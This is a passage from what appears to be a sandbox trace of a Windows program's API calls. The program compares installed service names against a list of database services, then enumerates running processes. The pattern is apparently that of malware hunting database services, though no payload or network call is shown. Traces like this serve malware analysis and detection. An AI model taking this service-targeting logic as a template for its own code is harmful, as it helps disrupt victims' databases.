lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0223.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0223.713] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0223.713] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0223.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0223.713] lstrlenW (lpString="LanmanServer") returned 12 [0223.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0223.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0223.713] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0223.713] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0223.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0223.713] lstrlenW (lpString="LanmanWorkstation") returned 17 [0223.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0223.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0223.713] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0223.713] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0223.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0223.713] lstrlenW (lpString="lfsvc") returned 5 [0223.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0223.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0223.713] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0223.713] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0223.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0223.713] lstrlenW (lpString="lmhosts") returned 7 [0223.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0223.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0223.714] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0223.714] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0223.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0223.714] lstrlenW (lpString="LSM") returned 3 [0223.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0223.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0223.714] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0223.714] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0223.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0223.714] lstrlenW (lpString="MpsSvc") returned 6 [0223.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0223.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0223.714] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0223.714] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0223.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0223.714] lstrlenW (lpString="NcbService") returned 10 [0223.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0223.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0223.714] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0223.714] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0223.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0223.714] lstrlenW (lpString="netprofm") returned 8 [0223.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0223.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0223.714] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0223.714] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0223.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0223.714] lstrlenW (lpString="NgcSvc") returned 6 [0223.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0223.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0223.714] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0223.714] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0223.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0223.714] lstrlenW (lpString="NlaSvc") returned 6 [0223.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0223.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0223.714] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0223.714] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0223.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0223.714] lstrlenW (lpString="nsi") returned 3 [0223.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0223.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0223.715] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0223.715] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0223.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0223.715] lstrlenW (lpString="PcaSvc") returned 6 [0223.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0223.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0223.715] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0223.715] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0223.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0223.715] lstrlenW (lpString="PlugPlay") returned 8 [0223.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0223.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0223.715] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0223.715] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0223.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0223.715] lstrlenW (lpString="Power") returned 5 [0223.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0223.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0223.715] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0223.715] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0223.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0223.715] lstrlenW (lpString="ProfSvc") returned 7 [0223.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0223.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0223.715] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0223.715] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0223.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0223.715] lstrlenW (lpString="RpcEptMapper") returned 12 [0223.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0223.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0223.715] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0223.715] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0223.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0223.715] lstrlenW (lpString="RpcSs") returned 5 [0223.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0223.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0223.715] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0223.715] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0223.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0223.715] lstrlenW (lpString="SamSs") returned 5 [0223.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0223.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0223.716] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0223.716] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0223.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0223.716] lstrlenW (lpString="Schedule") returned 8 [0223.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0223.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0223.716] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0223.716] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0223.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0223.716] lstrlenW (lpString="SecurityHealthService") returned 21 [0223.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0223.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0223.716] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0223.716] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0223.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0223.716] lstrlenW (lpString="SENS") returned 4 [0223.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0223.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0223.716] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0223.716] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0223.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0223.716] lstrlenW (lpString="ShellHWDetection") returned 16 [0223.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0223.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0223.716] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0223.716] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0223.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0223.716] lstrlenW (lpString="Spooler") returned 7 [0223.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0223.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0223.716] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0223.716] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0223.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0223.716] lstrlenW (lpString="StateRepository") returned 15 [0223.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0223.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0223.716] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0223.716] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0223.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0223.716] lstrlenW (lpString="SysMain") returned 7 [0223.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0223.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0223.716] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0223.717] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0223.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0223.717] lstrlenW (lpString="SystemEventsBroker") returned 18 [0223.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0223.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0223.717] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0223.717] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0223.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0223.717] lstrlenW (lpString="Themes") returned 6 [0223.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0223.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0223.717] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0223.717] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0223.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0223.717] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0223.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0223.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0223.717] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0223.717] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0223.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0223.717] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0223.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0223.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0223.717] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0223.717] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0223.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TimeBrokerSvc") returned -1 [0223.717] lstrlenW (lpString="TokenBroker") returned 11 [0223.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TokenBroker") returned -1 [0223.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TokenBroker") returned -1 [0223.717] lstrcmpiW (lpString1="sqlwriter", lpString2="TokenBroker") returned -1 [0223.717] lstrcmpiW (lpString1="mssqlserver", lpString2="TokenBroker") returned -1 [0223.717] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x559560 | out: hHeap=0x4f0000) returned 1 [0223.717] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0223.833] Process32FirstW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.833] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0223.833] lstrlenW (lpString="System") returned 6 [0223.833] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0223.834] lstrlenW (lpString="smss.exe") returned 8 [0223.834] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.834] lstrlenW (lpString="csrss.exe") returned 9 [0223.834] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0223.834] lstrlenW (lpString="wininit.exe") returned 11 [0223.834] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.835] lstrlenW (lpString="csrss.exe") returned 9 [0223.835] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0223.835] lstrlenW (lpString="winlogon.exe") returned 12 [0223.835] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0223.835] lstrlenW (lpString="services.exe") returned 12 [0223.835] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0223.835] lstrlenW (lpString="lsass.exe") returned 9 [0223.836] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0223.836] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0223.836] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0223.836] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0223.836] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.836] lstrlenW (lpString="svchost.exe") returned 11 [0223.836] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.837] lstrlenW (lpString="svchost.exe") returned 11 [0223.837] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0223.837] lstrlenW (lpString="dwm.exe") returned 7 [0223.837] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.837] lstrlenW (lpString="svchost.exe") returned 11 [0223.837] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.838] lstrlenW (lpString="svchost.exe") returned 11 [0223.838] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.838] lstrlenW (lpString="svchost.exe") returned 11 [0223.838] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.838] lstrlenW (lpString="svchost.exe") returned 11 [0223.838] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.839] lstrlenW (lpString="svchost.exe") returned 11 [0223.839] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.839] lstrlenW (lpString="svchost.exe") returned 11 [0223.839] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.839] lstrlenW (lpString="svchost.exe") returned 11 [0223.839] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.840] lstrlenW (lpString="svchost.exe") returned 11 [0223.840] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.840] lstrlenW (lpString="svchost.exe") returned 11 [0223.840] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.840] lstrlenW (lpString="svchost.exe") returned 11 [0223.840] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0223.840] lstrlenW (lpString="spoolsv.exe") returned 11 [0223.840] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.841] lstrlenW (lpString="svchost.exe") returned 11 [0223.841] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0223.841] lstrlenW (lpString="audiodg.exe") returned 11 [0223.841] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.841] lstrlenW (lpString="svchost.exe") returned 11 [0223.841] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0223.842] lstrlenW (lpString="sihost.exe") returned 10 [0223.842] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0223.842] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0223.842] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0223.842] lstrlenW (lpString="Memory Compression") returned 18 [0223.842] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0223.843] lstrlenW (lpString="taskhostw.exe") returned 13 [0223.843] Process32NextW (in: hSnapshot=0x27c, lppe=0x244fd2c | out: 